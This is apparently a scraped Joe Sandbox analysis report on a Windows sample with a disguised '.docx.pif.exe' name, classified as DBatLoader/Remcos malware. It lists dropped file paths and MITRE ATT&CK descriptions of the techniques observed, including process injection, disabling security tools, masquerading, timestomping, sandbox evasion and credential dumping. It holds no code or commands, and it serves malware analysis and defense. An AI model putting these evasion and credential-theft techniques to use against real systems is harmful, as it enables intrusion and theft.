Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DBatLoader

Threatname: Remcos

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Privilege Escalation

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\gaban\logs.dat

C:\Users\Public\Libraries\PNO

C:\Users\Public\Libraries\Pyemdbrd

C:\Users\Public\Libraries\Pyemdbrd.PIF

Windows Analysis Report
#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query` , `tasklist /svc` , `systemctl --type=service` , and `net start` .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre